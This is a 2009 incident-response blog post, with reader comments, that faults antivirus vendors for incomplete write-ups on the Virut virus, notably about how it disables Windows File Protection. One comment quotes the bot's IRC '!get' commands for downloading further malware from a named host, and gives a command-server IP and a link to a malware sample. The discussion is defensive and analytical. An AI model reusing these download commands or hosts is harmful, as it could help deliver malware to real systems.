Tuesday, February 17, 2009

Virut: Unanswered Questions

One of the things that really bothers me sometimes about the AV industry is the lack of information that's available with respect to a great deal of the malware that's out there.

Take Virut, for example. Microsoft's Malware Protection Center had a post here about a new variant being available, and there's information here regarding the Virut virus family (info about the latest variant, Virut.BM, is here).

Of course, the various AV vendors also provide some modicum of information about either the Virut family or a specific variant, all with varying levels of information. Some, like McAfee, provide more information than others, so that if the AV product itself isn't picking up the virus (due, in part, to its polymorphic nature) then maybe you can look for artifacts (modification to the hosts file, Registry keys/values, etc.) that may help you narrow down not only the infection, but also help you identify other infected systems.

One interesting aspect of all of this, and glaringly obvious in its absence, is any discussion of Windows File Protection, or WFP. While WFP is not mean to be a security mechanism, per se, the fact of the matter is that if Virut infects all EXEs on a system, then it would stand to reason that protected system files that are infected would be replaced by WFP...IF it were not disabled. Since there seem to be no discussions about this at all (at least not since Dec 2007), then it would stand to reason that the virus does, somehow, disable WFP.

So...does anyone have any thoughts on why Microsoft isn't letting its customers know about this?

Addendum: First, per the comments to this post, the MMPC listing for the virus was updated to include information on the method used to disable WFP/SFP while this post was being written.

Now, in yet another example of the massive disconnect between AV vendors and their customers, McAfee has a post on W32/Virut.n that refers to "Registry entries", without specifying whether the entries are Registry keys or values. Symantec, on the other hand, calls the data added to the Registry an "entry" in their W32.Virut.CF post, but provides enough information to indicate that it's a value.

How is this a disconnect? Many customers of these AV vendors have enterprise-wide infrastructures, and need to determine other systems that may be infected. MS's WMI provides a fantastic capability to quickly determine this...and yet, without clear, concise, and correct information, customers are left struggling.

Is it really that hard? I mean, you've done the analysis, and have the information. What's the issue? Also, why is MS the only vendor that I've found so far to make any mention of WFP being disabled?

8 comments:

jaymcjay said...

According to the Analysis page here (http://www.microsoft.com/security/portal/Entry.aspx?Name=Virus%3aWin32%2fVirut.BM) the virus infects the in-memory version of WINLOGON and the System File Protection DLL, thereby bypassing SFC.

I don't think it's fair to blame Microsoft, as it's impossible (AFAIK) to protect against System-level privileges, which is how this virus is spread to begin with. It's actually a rather intelligent virus, from the looks of it. Considerably more advanced than Conficker in its attack mechanism, anyway.

H. Carvey said...

Jay,

Good catch...when I asked an MS rep directly today (because I didn't see that information when reading the write up this morning), the response was, "which variant?", and "send us a sample".

I don't think it's fair to blame Microsoft, as it's impossible (AFAIK) to protect against System-level privileges...

Agreed, but let's be clear...I don't have an issue with protecting against the use or escalation to System-level privileges. In fact, I never brought that up as an issue in my post. What I am taking ALL AV vendors to task over is the lack of complete information with respect to malware.

H. Carvey said...

Jay,

Also, just an addendum...I just received an email from a contact at MS...b/c I asked the question, they added the section of the write up that you pointed out today, likely while I was writing the post...

hogfly said...

I have to be honest. I care less about the virut infection than I do the secondary and tertiary downloaded executables. Detecting a virut infection is fairly easy on the network. The IRC connection is simple to identify.

As pointed out in the mcafee writeup, it will download an executable 003[24].exe. This downloads another binary named cae.exe.

This third binary installs a microsoft passthru driver (read packet sniffer and proxy), which binds ethernet to it, so all network traffic gets sent through this interface. There's a hardcoded IP of 78.109.16.250 that currently resolves to srv.mshosting.ru. Presumably, the traffic gets sent there, though I've not yet observed it. This binary also makes function calls for currency conversion, indicating a financial motive. This binary also has rootkit functionality.

As for why microsoft isn't really discussing this one, it could be due to the hunt for the conficker people.

H. Carvey said...

As pointed out in the mcafee writeup...

Maybe I'm not looking at the same write up...but the one I linked in the post doesn't appear to include any reference to either executable you mentioned.

Can you provide a link?

hogfly said...

The initial executable info is here in the mcafee writeup you posted:

It would also join an IRC channel to receive commands which includes downloading of other malware:

* PRIVMSG [blocked] :!get http://horobl.cn/[blocked]/0032.exe
* PRIVMSG [blocked] :!get http://horobl.cn/[blocked]/0034.exe

In my experiences, I've only seen 0032.exe downloaded, and that binary functions as a downloader and will go back out to setdoc.cn and download cae.exe.

And you're right. There is no mention of this added piece of malware. I've not seen any mention of this last executable on any site but it is pretty well detected at this point.

I uploaded it to offensivecomputing here:
http://www.offensivecomputing.net/?q=ocsearch&ocq=deac9c705ed0f4e4c1d0f3c5bb9aa9c1

Cd-MaN said...

It is quite easy to disable the SFC via several undocumented API's, which are nevertheless widely used in malware (as a former malware analyst I can vouch for that). See a good writeup here:

Hacking Windows File Protection

H. Carvey said...

@cdman83: I'm aware of that site, and in fact have included information about it in WFA 2/e. However, the fact that there are ways to disable WFP wasn't the point...the point is that with the exception of MS, no other AV vendor makes any mention of this. I'm not so much concerned with the how as I am with the fact that its being done, as this has significant impact on what the customer can do to protect themselves, as well as what responders and forensic analysts such as myself need to be looking for.

@hogfly: "I care less about the virut infection than I do the secondary and tertiary downloaded executables." Understood. What are you seeing as the infection vector for Virut? It's pretty clear how the follow-on downloads are getting onto systems, but how is Virut getting on systems in the first place in your experience?